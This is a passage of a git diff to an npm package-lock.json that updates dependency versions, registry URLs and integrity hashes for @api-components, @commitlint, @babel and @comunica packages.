"@api-components/api-security-documentation": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/@api-components/api-security-documentation/-/api-security-documentation-4.1.1.tgz", - "integrity": "sha512-pnXi80xU8LM/Pi2hIv5ICkWi4VfJ+lZ8zUfDQgHVaDjVYyUrCLcvipX2XacvYdpskEPn/U+5/pi9yO2B54OrPw==", - "requires": { - "@advanced-rest-client/arc-marked": "^1.1.1", - "@advanced-rest-client/markdown-styles": "^3.1.4", - "@api-components/amf-helper-mixin": "^4.3.6", - "@api-components/api-annotation-document": "^4.2.0", - "@api-components/api-headers-document": "^4.2.0", - "@api-components/api-parameters-document": "^4.1.1", - "@api-components/api-responses-document": "^4.2.0", - "lit-element": "^2.4.0" + "@api-components/amf-helper-mixin": "^4.5.12", + "@pawel-up/data-mock": "^0.1.7" } }, "@api-components/api-server-selector": { - "version": "0.6.4", - "resolved": "https://registry.npmjs.org/@api-components/api-server-selector/-/api-server-selector-0.6.4.tgz", - "integrity": "sha512-76hYqAsQ2tpOAhlSOi4m4KWqtoZheJPOTXadqeeAyFR/PYzkmPKugsjlP12SbuF7spierQxE8fVgBHqotGB1jg==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.2.2", - "@anypoint-web-components/anypoint-button": "^1.0.15", - "@anypoint-web-components/anypoint-dropdown": "^1.1.2", - "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.16", - "@anypoint-web-components/anypoint-input": "^0.2.14", - "@anypoint-web-components/anypoint-item": "^1.0.5", - "@anypoint-web-components/anypoint-listbox": "^1.0.4", - "@api-components/amf-helper-mixin": "^4.3.4", - "lit-element": "^2.3.1", - "lit-html": "^1.2.1" - } - }, - "@api-components/api-summary": { - "version": "4.6.2", - "resolved": "https://registry.npmjs.org/@api-components/api-summary/-/api-summary-4.6.2.tgz", - "integrity": "sha512-j71vuwYahXK6Kt2JjwHPO549jGNsi+FycX+PxYbh+NP69dRrPTpKtmt/+Ww0GVgPIwxedQy3nJnG1nYJkV8d8Q==", - "requires": { - "@advanced-rest-client/arc-marked": "^1.1.2", - "@advanced-rest-client/markdown-styles": "^3.1.5", - "@api-components/amf-helper-mixin": "^4.5.1", - "@api-components/api-method-documentation": "^5.2.5", - "@api-components/http-method-label": "^3.1.4", - "@api-components/raml-aware": "^3.0.0", - "dompurify": "^2.3.1", - "lit-element": "^2.5.1", - "lit-html": "^1.4.1" - } - }, - "@api-components/api-type-document": { - "version": "4.2.15", - "resolved": "https://registry.npmjs.org/@api-components/api-type-document/-/api-type-document-4.2.15.tgz", - "integrity": "sha512-yR1Pmzknw1w33jOqbKeFA9qWRAtNLWlSW9bdpH2v6WclkBxELFyzEgc+87DC6xtuOhhIdTgXkMOgw9PF5ttENg==", - "requires": { - "@advanced-rest-client/arc-marked": "^1.1.0", - "@advanced-rest-client/markdown-styles": "^3.1.4", - "@anypoint-web-components/anypoint-button": "^1.2.0", - "@api-components/amf-helper-mixin": "^4.4.0", - "@api-components/api-annotation-document": "^4.1.0", - "@api-components/api-resource-example-document": "^4.1.2", - "@open-wc/dedupe-mixin": "^1.3.0", - "lit-element": "^2.4.0" - } - }, - "@api-components/api-type-documentation": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/@api-components/api-type-documentation/-/api-type-documentation-4.2.1.tgz", - "integrity": "sha512-jQAaru9Asrl/bc+XCvg0q2MfB3UsovPldHVU+ZKdO0iwHuimx++qrXijsJ5DWrWgK/MYi2uGHuD9wDz8dejw7Q==", - "requires": { - "@advanced-rest-client/arc-marked": "^1.1.2", - "@advanced-rest-client/markdown-styles": "^3.1.5", - "@api-components/amf-helper-mixin": "^4.4.0", - "@api-components/api-annotation-document": "^4.2.0", - "@api-components/api-resource-example-document": "^4.3.2", - "@api-components/api-schema-document": "^4.3.0", - "@api-components/api-type-document": "^4.2.13", - "lit-element": "^2.5.1" - } - }, - "@api-components/api-url": { - "version": "0.1.12", - "resolved": "https://registry.npmjs.org/@api-components/api-url/-/api-url-0.1.12.tgz", - "integrity": "sha512-1YfQrr1F6O/OSr+f5ouRfvTwjVka2D1P8rWBCnqqLoQgf/98xnzGQgvU/rEEJPm3byth22PF2vEWKCxP93S7Sg==", + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/@api-components/api-server-selector/-/api-server-selector-0.7.1.tgz", + "integrity": "sha512-44q6i08RPsgXKAgn1QimvanAxKXPnZzAxiFGwDBc023S4IapCCrSujj/quYwAYCgr+wLnkrJ2+iCOFLEKigWVg==", "requires": { - "@advanced-rest-client/arc-icons": "^3.2.2", - "@advanced-rest-client/arc-types": "^0.2.53", - "@advanced-rest-client/events-target-mixin": "^3.2.4", - "@anypoint-web-components/anypoint-button": "^1.2.2", - "@anypoint-web-components/anypoint-input": "^0.2.26", - "@anypoint-web-components/anypoint-switch": "^0.1.10", - "@anypoint-web-components/validatable-mixin": "^1.1.3", - "@api-components/amf-helper-mixin": "^4.4.1", - "@api-components/api-forms": "^0.2.4", + "@advanced-rest-client/arc-icons": "^3.3.4", + "@anypoint-web-components/anypoint-button": "^1.2.3", + "@anypoint-web-components/anypoint-dropdown": "^1.1.6", + "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.21", + "@anypoint-web-components/anypoint-input": "^0.2.27", + "@anypoint-web-components/anypoint-item": "^1.1.2", + "@anypoint-web-components/anypoint-listbox": "^1.1.7", + "@api-components/amf-helper-mixin": "^4.5.4", "lit-element": "^2.5.1", "lit-html": "^1.4.1" } }, - "@api-components/api-view-model-transformer": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/@api-components/api-view-model-transformer/-/api-view-model-transformer-4.2.2.tgz", - "integrity": "sha512-R+qrjx4daChcuILXMdj3v81iv37WdH2UzeyPhc31pmMY4G3NbOkHE5qmv+2DVB11uPTabjQhFHu2qEuQ+yVHBA==", - "requires": { - "@advanced-rest-client/events-target-mixin": "^3.2.3", - "@api-components/amf-helper-mixin": "^4.2.0", - "@api-components/api-example-generator": "^4.4.5", - "lit-element": "^2.4.0" - } - }, "@api-components/http-method-label": { "version": "3.1.4", "resolved": "https://registry.npmjs.org/@api-components/http-method-label/-/http-method-label-3.1.4.tgz", @@ -1281,7 +731,8 @@ "@api-components/raml-aware": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/@api-components/raml-aware/-/raml-aware-3.0.0.tgz", - "integrity": "sha512-lWIjd8Wq6tYJmF8ZXyUgQdGq+vhXP7pKY/QcPQdKOn2IXb4/gqTglebtXnxjME41+uKSPQoMSKTEVT/PwX93qQ==" + "integrity": "sha512-lWIjd8Wq6tYJmF8ZXyUgQdGq+vhXP7pKY/QcPQdKOn2IXb4/gqTglebtXnxjME41+uKSPQoMSKTEVT/PwX93qQ==", + "dev": true }, "@babel/code-frame": { "version": "7.14.5", @@ -1293,9 +744,9 @@ } }, "@babel/helper-validator-identifier": { - "version": "7.14.9", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.14.9.tgz", - "integrity": "sha512-pQYxPY0UP6IHISRitNe8bsijHex4TWZXi2HwKVsjPiltzlhse2znVcm9Ace510VT1kxIHjGJCZZQBX2gJDbo0g==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", "dev": true }, "@babel/highlight": { @@ -1366,236 +817,128 @@ } }, "@commitlint/cli": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/cli/-/cli-12.1.4.tgz", - "integrity": "sha512-ZR1WjXLvqEffYyBPT0XdnSxtt3Ty1TMoujEtseW5o3vPnkA1UNashAMjQVg/oELqfaiAMnDw8SERPMN0e/0kLg==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/cli/-/cli-13.2.0.tgz", + "integrity": "sha512-RqG0cxxiwaL9OgQbA2ZEfZaVIRJmbtsZgnj5G07AjN7///s/40grSN4/kDl8YjUgvAZskPfJRoGGYNvHJ4zHWA==", "dev": true, "requires": { - "@commitlint/format": "^12.1.4", - "@commitlint/lint": "^12.1.4", - "@commitlint/load": "^12.1.4", - "@commitlint/read": "^12.1.4", - "@commitlint/types": "^12.1.4", + "@commitlint/format": "^13.2.0", + "@commitlint/lint": "^13.2.0", + "@commitlint/load": "^13.2.0", + "@commitlint/read": "^13.2.0", + "@commitlint/types": "^13.2.0", "lodash": "^4.17.19", "resolve-from": "5.0.0", "resolve-global": "1.0.0", - "yargs": "^16.2.0" - }, - "dependencies": { - "yargs": { - "version": "16.2.0", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", - "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", - "dev": true, - "requires": { - "cliui": "^7.0.2", - "escalade": "^3.1.1", - "get-caller-file": "^2.0.5", - "require-directory": "^2.1.1", - "string-width": "^4.2.0", - "y18n": "^5.0.5", - "yargs-parser": "^20.2.2" - } - } + "yargs": "^17.0.0" } }, "@commitlint/config-conventional": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/config-conventional/-/config-conventional-12.1.4.tgz", - "integrity": "sha512-ZIdzmdy4o4WyqywMEpprRCrehjCSQrHkaRTVZV411GyLigFQHlEBSJITAihLAWe88Qy/8SyoIe5uKvAsV5vRqQ==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/config-conventional/-/config-conventional-13.2.0.tgz", + "integrity": "sha512-7u7DdOiF+3qSdDlbQGfpvCH8DCQdLFvnI2+VucYmmV7E92iD6t9PBj+UjIoSQCaMAzYp27Vkall78AkcXBh6Xw==", "dev": true, "requires": { "conventional-changelog-conventionalcommits": "^4.3.1" } }, "@commitlint/ensure": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/ensure/-/ensure-12.1.4.tgz", - "integrity": "sha512-MxHIBuAG9M4xl33qUfIeMSasbv3ktK0W+iygldBxZOL4QSYC2Gn66pZAQMnV9o3V+sVFHoAK2XUKqBAYrgbEqw==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/ensure/-/ensure-13.2.0.tgz", + "integrity": "sha512-rqhT62RehdLTRBu8OrPHnRCCd/7RmHEE4TiTlT4BLlr5ls5jlZhecOQWJ8np872uCNirrJ5NFjnjYYdbkNoW9Q==", "dev": true, "requires": { - "@commitlint/types": "^12.1.4", + "@commitlint/types": "^13.2.0", "lodash": "^4.17.19" } }, "@commitlint/execute-rule": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/execute-rule/-/execute-rule-12.1.4.tgz", - "integrity": "sha512-h2S1j8SXyNeABb27q2Ok2vD1WfxJiXvOttKuRA9Or7LN6OQoC/KtT3844CIhhWNteNMu/wE0gkTqGxDVAnJiHg==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/execute-rule/-/execute-rule-13.2.0.tgz", + "integrity": "sha512-6nPwpN0hwTYmsH3WM4hCdN+NrMopgRIuQ0aqZa+jnwMoS/g6ljliQNYfL+m5WO306BaIu1W3yYpbW5aI8gEr0g==", "dev": true }, "@commitlint/format": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/format/-/format-12.1.4.tgz", - "integrity": "sha512-h28ucMaoRjVvvgS6Bdf85fa/+ZZ/iu1aeWGCpURnQV7/rrVjkhNSjZwGlCOUd5kDV1EnZ5XdI7L18SUpRjs26g==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/format/-/format-13.2.0.tgz", + "integrity": "sha512-yNBQJe6YFhM1pJAta4LvzQxccSKof6axJH7ALYjuhQqfT8AKlad7Y/2SuJ07ioyreNIqwOTuF2UfU8yJ7JzEIQ==", "dev": true, "requires": { - "@commitlint/types": "^12.1.4", + "@commitlint/types": "^13.2.0", "chalk": "^4.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - } } }, "@commitlint/is-ignored": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/is-ignored/-/is-ignored-12.1.4.tgz", - "integrity": "sha512-uTu2jQU2SKvtIRVLOzMQo3KxDtO+iJ1p0olmncwrqy4AfPLgwoyCP2CiULq5M7xpR3+dE3hBlZXbZTQbD7ycIw==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/is-ignored/-/is-ignored-13.2.0.tgz", + "integrity": "sha512-onnx4WctHFPPkHGFFAZBIWRSaNwuhixIIfbwPhcZ6IewwQX5n4jpjwM1GokA7vhlOnQ57W7AavbKUGjzIVtnRQ==", "dev": true, "requires": { - "@commitlint/types": "^12.1.4", + "@commitlint/types": "^13.2.0", "semver": "7.3.5" } }, "@commitlint/lint": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/lint/-/lint-12.1.4.tgz", - "integrity": "sha512-1kZ8YDp4to47oIPFELUFGLiLumtPNKJigPFDuHt2+f3Q3IKdQ0uk53n3CPl4uoyso/Og/EZvb1mXjFR/Yce4cA==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/lint/-/lint-13.2.0.tgz", + "integrity": "sha512-5XYkh0e9ehHjA7BxAHFpjPgr1qqbFY8OFG1wpBiAhycbYBtJnQmculA2wcwqTM40YCUBqEvWFdq86jTG8fbkMw==", "dev": true, "requires": { - "@commitlint/is-ignored": "^12.1.4", - "@commitlint/parse": "^12.1.4", - "@commitlint/rules": "^12.1.4", - "@commitlint/types": "^12.1.4" + "@commitlint/is-ignored": "^13.2.0", + "@commitlint/parse": "^13.2.0", + "@commitlint/rules": "^13.2.0", + "@commitlint/types": "^13.2.0" } }, "@commitlint/load": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/load/-/load-12.1.4.tgz", - "integrity": "sha512-Keszi0IOjRzKfxT+qES/n+KZyLrxy79RQz8wWgssCboYjKEp+wC+fLCgbiMCYjI5k31CIzIOq/16J7Ycr0C0EA==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/load/-/load-13.2.0.tgz", + "integrity": "sha512-Nhkv+hwWCCxWGjmE9jd1U8kfGGCkZVpwzlTtdKxpY+Aj2VCFg3BjY+qA81pMF3oAsIpxchSaZG5llb8kduVjYg==", "dev": true, "requires": { - "@commitlint/execute-rule": "^12.1.4", - "@commitlint/resolve-extends": "^12.1.4", - "@commitlint/types": "^12.1.4", + "@commitlint/execute-rule": "^13.2.0", + "@commitlint/resolve-extends": "^13.2.0", + "@commitlint/types": "^13.2.0", + "@endemolshinegroup/cosmiconfig-typescript-loader": "^3.0.2", "chalk": "^4.0.0", "cosmiconfig": "^7.0.0", "lodash": "^4.17.19", "resolve-from": "^5.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - } } }, "@commitlint/message": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/message/-/message-12.1.4.tgz", - "integrity": "sha512-6QhalEKsKQ/Y16/cTk5NH4iByz26fqws2ub+AinHPtM7Io0jy4e3rym9iE+TkEqiqWZlUigZnTwbPvRJeSUBaA==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/message/-/message-13.2.0.tgz", + "integrity": "sha512-+LlErJj2F2AC86xJb33VJIvSt25xqSF1I0b0GApSgoUtQBeJhx4SxIj1BLvGcLVmbRmbgTzAFq/QylwLId7EhA==", "dev": true }, "@commitlint/parse": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/parse/-/parse-12.1.4.tgz", - "integrity": "sha512-yqKSAsK2V4X/HaLb/yYdrzs6oD/G48Ilt0EJ2Mp6RJeWYxG14w/Out6JrneWnr/cpzemyN5hExOg6+TB19H/Lw==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/parse/-/parse-13.2.0.tgz", + "integrity": "sha512-AtfKSQJQADbDhW+kuC5PxOyBANsYCuuJlZRZ2PYslOz2rvWwZ93zt+nKjM4g7C9ETbz0uq4r7/EoOsTJ2nJqfQ==", "dev": true, "requires": { - "@commitlint/types": "^12.1.4", + "@commitlint/types": "^13.2.0", "conventional-changelog-angular": "^5.0.11", - "conventional-commits-parser": "^3.0.0" + "conventional-commits-parser": "^3.2.2" } }, "@commitlint/read": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/read/-/read-12.1.4.tgz", - "integrity": "sha512-TnPQSJgD8Aod5Xeo9W4SaYKRZmIahukjcCWJ2s5zb3ZYSmj6C85YD9cR5vlRyrZjj78ItLUV/X4FMWWVIS38Jg==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/read/-/read-13.2.0.tgz", + "integrity": "sha512-7db5e1Bn3re6hQN0SqygTMF/QX6/MQauoJn3wJiUHE93lvwO6aFQxT3qAlYeyBPwfWsmDz/uSH454jtrSsv3Uw==", "dev": true, "requires": { - "@commitlint/top-level": "^12.1.4", - "@commitlint/types": "^12.1.4", - "fs-extra": "^9.0.0", + "@commitlint/top-level": "^13.2.0", + "@commitlint/types": "^13.2.0", + "fs-extra": "^10.0.0", "git-raw-commits": "^2.0.0" - }, - "dependencies": { - "fs-extra": { - "version": "9.1.0", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", - "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", - "dev": true, - "requires": { - "at-least-node": "^1.0.0", - "graceful-fs": "^4.2.0", - "jsonfile": "^6.0.1", - "universalify": "^2.0.0" - } - }, - "universalify": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", - "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", - "dev": true - } } }, "@commitlint/resolve-extends": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/resolve-extends/-/resolve-extends-12.1.4.tgz", - "integrity": "sha512-R9CoUtsXLd6KSCfsZly04grsH6JVnWFmVtWgWs1KdDpdV+G3TSs37tColMFqglpkx3dsWu8dsPD56+D9YnJfqg==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/resolve-extends/-/resolve-extends-13.2.0.tgz", + "integrity": "sha512-HLCMkqMKtvl1yYLZ1Pm0UpFvd0kYjsm1meLOGZ7VkOd9G/XX+Fr1S2G5AT2zeiDw7WUVYK8lGVMNa319bnV+aw==", "dev": true, "requires": { "import-fresh": "^3.0.0", @@ -1605,27 +948,28 @@ } }, "@commitlint/rules": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/rules/-/rules-12.1.4.tgz", - "integrity": "sha512-W8m6ZSjg7RuIsIfzQiFHa48X5mcPXeKT9yjBxVmjHvYfS2FDBf1VxCQ7vO0JTVIdV4ohjZ0eKg/wxxUuZHJAZg==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/rules/-/rules-13.2.0.tgz", + "integrity": "sha512-O3A9S7blOzvHfzrJrUQe9JxdtGy154ol/GXHwvd8WfMJ10y5ryBB4b6+0YZ1XhItWzrEASOfOKbD++EdLV90dQ==", "dev": true, "requires": { - "@commitlint/ensure": "^12.1.4", - "@commitlint/message": "^12.1.4", - "@commitlint/to-lines": "^12.1.4", - "@commitlint/types": "^12.1.4" + "@commitlint/ensure": "^13.2.0", + "@commitlint/message": "^13.2.0", + "@commitlint/to-lines": "^13.2.0", + "@commitlint/types": "^13.2.0", + "execa": "^5.0.0" } }, "@commitlint/to-lines": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/to-lines/-/to-lines-12.1.4.tgz", - "integrity": "sha512-TParumvbi8bdx3EdLXz2MaX+e15ZgoCqNUgqHsRLwyqLUTRbqCVkzrfadG1UcMQk8/d5aMbb327ZKG3Q4BRorw==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/to-lines/-/to-lines-13.2.0.tgz", + "integrity": "sha512-ZfWZix2y/CzewReCrj5g0nKOEfj5HW9eBMDrqjJJMPApve00CWv0tYrFCGXuGlv244lW4uvWJt6J/0HLRWsfyg==", "dev": true }, "@commitlint/top-level": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/top-level/-/top-level-12.1.4.tgz", - "integrity": "sha512-d4lTJrOT/dXlpY+NIt4CUl77ciEzYeNVc0VFgUQ6VA+b1rqYD2/VWFjBlWVOrklxtSDeKyuEhs36RGrppEFAvg==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/top-level/-/top-level-13.2.0.tgz", + "integrity": "sha512-knBvWYbIq6VV6VPHrVeDsxDiJq4Zq6cv5NIYU3iesKAsmK2KlLfsZPa+Ig96Y4AqAPU3zNJwjHxYkz9qxdBbfA==", "dev": true, "requires": { "find-up": "^5.0.0" @@ -1671,48 +1015,12 @@ } }, "@commitlint/types": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/types/-/types-12.1.4.tgz", - "integrity": "sha512-KRIjdnWNUx6ywz+SJvjmNCbQKcKP6KArhjZhY2l+CWKxak0d77SOjggkMwFTiSgLODOwmuLTbarR2ZfWPiPMlw==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/types/-/types-13.2.0.tgz", + "integrity": "sha512-RRVHEqmk1qn/dIaSQhvuca6k/6Z54G+r/KyimZ8gnAFielGiGUpsFRhIY3qhd5rXClVxDaa3nlcyTWckSccotQ==", "dev": true, "requires": { "chalk": "^4.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - } } }, "@comunica/actor-abstract-bindings-hash": { @@ -1758,9 +1066,9 @@ } }, "@comunica/actor-http-memento": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-http-memento/-/actor-http-memento-1.22.0.tgz", - "integrity": "sha512-50of2qrZcXw135hrhuPiOSeMxryNU8xcAI9ksC3qmI7Kv4haDgvnvYa7RvwW91dENTcIpKVqXwMnHTPWY3XtVw==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-http-memento/-/actor-http-memento-1.22.1.tgz", + "integrity": "sha512-H10dWC+RA/xkhORKBMUIw133PxKXmo8ByEeYgbV3QplyeZ5+Wv+0hh+Icil4rC5rsqcpW+iU2TZGK6vfsTQpMQ==", "dev": true, "requires": { "@comunica/context-entries": "^1.22.0", @@ -1770,9 +1078,9 @@ } }, "@comunica/actor-http-native": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-http-native/-/actor-http-native-1.22.0.tgz", - "integrity": "sha512-4EUY+iCnq51vzX850JnV2nZpgtM3G29spy/SMjBx9xZ4snU4AHACZifDm1jkos60wxEzoP89iagcztcRrv71kA==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-http-native/-/actor-http-native-1.22.1.tgz", + "integrity": "sha512-BdB+hvQ9CJF9tI42hNhcvTMagOty+jw21LIQDJWI628xMcXZ88BJaUX0Ulc7g2nrWH97ZRm5+KjLC4Zf+OGwZg==", "dev": true, "requires": { "@comunica/context-entries": "^1.22.0", @@ -1783,9 +1091,9 @@ } }, "@comunica/actor-http-node-fetch": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-http-node-fetch/-/actor-http-node-fetch-1.22.0.tgz", - "integrity": "sha512-zix3mtZOsZfH9uhSYKoPPVrGOu8Pay2cG1pJsQvu/GyghPSNpEGHXZIz7mSKLr9kFuhnA2+0FVrf4tXFLmrIMA==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-http-node-fetch/-/actor-http-node-fetch-1.22.1.tgz", + "integrity": "sha512-ZnIhji5Q5eMpz8L3kw8E6T/A1XIfdhRIXQ3/tTmtyoMeOkzAvBk3VyONFsR21vmm1uVrmMjet8iFtHzNixctMA==", "dev": true, "requires": { "@comunica/context-entries": "^1.22.0", @@ -1793,24 +1101,24 @@ } }, "@comunica/actor-http-proxy": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-http-proxy/-/actor-http-proxy-1.22.0.tgz", - "integrity": "sha512-9kFk1caCLeV2P9CemYCVFKf//qiuQT+K8OsyTwH/CInvMEHzqJrKWfyLTQq1zhFMa4oT3Kw6NSS+K2FbUozo+A==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-http-proxy/-/actor-http-proxy-1.22.1.tgz", + "integrity": "sha512-q8Dil+MnKeZWKNxLLDXan070TUP+8io7zwwCs5apvaU26ghojBU4OOJx1vL6CInUjZCzTeyCYVPsBbvykjLZ2w==", "dev": true }, "@comunica/actor-init-sparql": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-init-sparql/-/actor-init-sparql-1.22.0.tgz", - "integrity": "sha512-ZOWi/ldBxSyAPNO4pPNqOs6KKvkDikhYuggPMI7DvSPou7M8+HJtsqJRFk/rbFIt8XQjB5ssWIPcrLl1xcGMcA==", + "version": "1.22.1", + "resolved": 